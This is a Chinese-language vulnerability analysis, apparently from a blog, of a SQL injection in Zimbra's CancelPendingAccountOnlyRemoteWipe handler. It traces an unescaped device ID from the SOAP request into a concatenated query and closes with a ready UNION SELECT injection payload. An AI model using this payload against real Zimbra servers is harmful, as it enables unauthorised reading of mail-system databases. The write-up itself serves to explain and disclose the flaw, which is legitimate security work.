当前位置: 首页 > article >正文

cve-2025-25064漏洞分析

前言

Zimbra提供一套开源协同办公套件包括WebMail,日历,通信录,Web文档管理和创作。

漏洞描述

漏洞原因

漏洞的根本原因在于CancelPendingAccountOnlyRemoteWipe处理器中对用户输入(即设备ID)的处理方式不当

漏洞代码

// lib/ext/zimbrasync/zm-sync-store/com/zimbra/zimbrasync/service/CancelPendingAccountOnlyRemoteWipe.java
public static List<Device> getDevices(Integer mailboxId, String deviceId, Byte status, Boolean incluedeDeletedByUser, int offset, int limit, String deviceName, String deviceType, String deviceLastUsed, String deviceSyncVersion, Boolean filterDevicesByAnd, Boolean includeMatchingDevices) throws ServiceException {
    List<Device> devices = new ArrayList<>();
    DbPool.DbConnection conn = STATUS_POLICY_NEEDPROV;
    PreparedStatement stmt = STATUS_POLICY_NEEDPROV;
    ResultSet rs = STATUS_POLICY_NEEDPROV;
    String queryAppendString = filterDevicesByAnd.booleanValue() ? " AND" : " OR";
    Boolean isQueryBeingCreated = false;
    StringBuilder query = new StringBuilder();
    query.append("SELECT device_id, device_type, user_agent, protocol_version, provisionable, status, policy_key, recovery_password, first_req_received, last_policy_update, remote_wipe_req, remote_wipe_ack, policy_values, last_used_date, deleted_by_user, model, imei, friendly_name, os, os_language, phone_number, unapproved_appl_list, approved_appl_list, mailbox_id, mobile_operator, last_updated_by, update_time FROM mobile_devices");
    if (mailboxId != null && mailboxId.intValue() > 0) {
        query.append(" WHERE");
        query.append(" mailbox_id = ?");
        isQueryBeingCreated = true;
    }
    if (!StringUtil.isNullOrEmpty(deviceId)) {
        if (isQueryBeingCreated.booleanValue()) {
            query.append(queryAppendString);
        } else {
            query.append(" WHERE");
            isQueryBeingCreated = true;
        }
        if (includeMatchingDevices.booleanValue()) {
            Pattern pattern = Pattern.compile("(?<!\\.)\\*");
            Matcher matcher = pattern.matcher(deviceId);
            query.append(" device_id").append(" REGEXP '^" + matcher.replaceAll(".*") + "$'");
        } else {
            query.append(" device_id = '" + deviceId + "'"); // 漏洞点
        }
    }

这里变量deviceId插入了sql查询语句,所以这里就有可能产生sql注入漏洞

跟进一下getDevices方法

public static Device getDevice(Integer mailboxId, String deviceId) throws ServiceException {
    List<Device> devices = getDevices(mailboxId, deviceId, null, true); //调用getDevices方法
    if (devices.size() == 0) {
        throw ZimbraSyncServiceException.NO_SUCH_DEVICE();
    }
    if ($assertionsDisabled || devices.size() == STATUS_OK) {
        return devices.get(STATUS_POLICY_NEEDPROV);
    }
    throw new AssertionError();
}

跟进一下getDevice方法

import com.zimbra.common.service.ServiceException;
import com.zimbra.common.soap.Element;
import com.zimbra.common.soap.SyncConstants;
import com.zimbra.cs.account.Account;
import com.zimbra.cs.mailbox.MailboxManager;
import com.zimbra.soap.DocumentHandler;
import com.zimbra.soap.ZimbraSoapContext;
import com.zimbra.zimbrasync.Device;
import com.zimbra.zimbrasync.util.SyncUtil;
import java.util.Map;

public class CancelPendingAccountOnlyRemoteWipe extends DocumentHandler {
    public Element handle(Element request, Map<String, Object> context) throws ServiceException {
        ZimbraSoapContext zsc = getZimbraSoapContext(context);
        Account account = getRequestedAccount(zsc);
        if (!canAccessAccount(zsc, account)) {
            throw ServiceException.PERM_DENIED("can not access account");
        }
        String deviceId = request.getElement("device").getAttribute("id"); // 接收变量deviceId
        Device device = Device.getDevice(Integer.valueOf(MailboxManager.getInstance().getMailboxByAccount(account).getId()), deviceId); // [3]
        if (SyncUtil.isUserSyncActionAllowed("CancelPendingAccountOnlyRemoteWipeRequest", device.getStatus(), device.getLastUpdatedBy())) {
            device.cancelPendingAccountOnlyRemoteWipe("User");
            Element response = zsc.createElement(SyncConstants.CANCEL_PENDING_ACCOUNT_ONLY_REMOTE_WIPE_RESPONSE);
            GetDeviceStatus.encodeDeviceStatus(response, device);
            return response;
        }
        throw ServiceException.PERM_DENIED("You don't have permission to cancel pending account only wipe");
    }
}

发现在这里用户可以输入变量deviceId,且没有任何过滤和转义

payload:

{
  "Body": {
    "CancelPendingAccountOnlyRemoteWipeRequest": {
      "_jsns": "urn:zimbraSync",
      "device": {
        "id": "aaaa' union select 111,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,18,20,21,22,23,24,25,26,111"
      }
    }
  }
}

http://www.kler.cn/a/564350.html

相关文章:

  • 记录一次bug,xgplayer西瓜视频播放切进度条视频加载失败
  • 服务异步通讯与RabbitMQ
  • Java+Vue+Spring的蛋糕甜品商城(程序+论文+讲解+安装+调试+售后)
  • 如何使用Python编程实现捕获笔记本电脑麦克风的音频并通过蓝牙耳机实时传输
  • k8s新增Node节点 简单易上手 如何给k8s新添加node节点
  • 科技快讯 | DeepSeek宣布开源DeepGEMM;多个团队开发AI论文反识别技术;OpenAI GPT 4.5现身Android测试版,即将发布
  • 深度学习-135-LangGraph之应用实例(四)构建RAG问答系统同时对文档进行元数据增强
  • C++ 常见面试知识点
  • 【第九节】C++设计模式(结构型模式)-Composite(组合)模式
  • 细说 Java GC 垃圾收集器
  • TDengine 中的数据库
  • VSCode+PlatformIO报错 找不到头文件
  • 2024 年 6 月青少年软编等考 C 语言四级真题解析
  • Kafka消费者相关
  • HAL库 IIC写和读函数
  • 神经网络 - 激活函数(ReLU 函数 - 基本概念)
  • 2025年前端高频面试题(含答案)
  • MOBA:长上下文 LLMs 的混合块注意机制
  • RabbitMQ系列(一)架构解析
  • 第002文-kali虚拟机安全与网络配置